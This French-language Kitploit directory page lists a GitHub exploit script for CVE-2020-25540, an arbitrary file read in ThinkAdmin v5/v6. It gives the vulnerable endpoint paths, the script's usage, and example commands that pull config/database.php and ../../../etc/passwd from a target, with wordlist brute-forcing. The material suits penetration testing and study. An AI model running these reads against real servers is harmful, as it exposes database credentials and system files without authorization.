Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

FluxContactConfidentialité© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2020-25540 — Exploitation de la vulnérabilité de lecture arbitraire de fichiers ThinkAdmin v5 v6, avec prise en charge de la force brute par dictionnaire personnalisable. | Kitploit
Outils/GitHubGitHub/simonlee-hello/cve-2020-25540
Attaques de Mots de PasseAnalyse des VulnérabilitésExploitationExploitation d'Applications WebCollecte d'InformationsTests d'Intrusion
GitHubsimonlee-hello/cve-2020-25540

CVE-2020-25540

Exploitation de la vulnérabilité de lecture arbitraire de fichiers ThinkAdmin v5 v6, avec prise en charge de la force brute par dictionnaire personnalisable.

Voir le dépôt
13il y a 2 ansPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

cve-2020-25540

Ce script est utilisé pour exploiter la lecture arbitraire de fichiers sur les versions ThinkAdmin v5 et v6

==Le chemin de l'interface peut varier selon les versions (certaines basées sur une réécriture de ThinkAdmin d'origine)==

  • L'interface d'origine est : /admin.html?s=admin/api.Update/get?/encode/xxxx
  • Celle de ma version (réécriture pour un système de pyramide financière) est : /admin.html?s=admin/api.Update/read?encode=xxxx

Utilisation de base

usage: cve-2020-25540.py [-h] -t TARGET [-f FILE] [-w WORDLIST] [-b BASE_PATH]
                         [-p PARALLEL]

Lit des fichiers via l'API et récupère la réponse

optional arguments:
  -h, --help            show this help message and exit
  -t TARGET, --target TARGET
                        Adresse IP ou nom de domaine cible
  -f FILE, --file FILE  Chemin du fichier à lire
  -w WORDLIST, --wordlist WORDLIST
                        Chemin du fichier dictionnaire, fournit plusieurs chemins de fichiers ou noms de fichiers
  -b BASE_PATH, --base-path BASE_PATH
                        Chemin de base, utilisé pour concaténer les chemins du fichier dictionnaire
  -p PARALLEL, --parallel PARALLEL
                        Nombre de threads parallèles

python3 cve-2020-25540.py -t "https://xxx.xx" -f "config/database.php"
python3 cve-2020-25540.py -t "https://xxx.xx" -f "../../../etc/passwd"
python3 cve-2020-25540.py -t "https://xxx.xx" -b "../../../etc/" -w wordlist.txt -p 10
Télécharger l’outil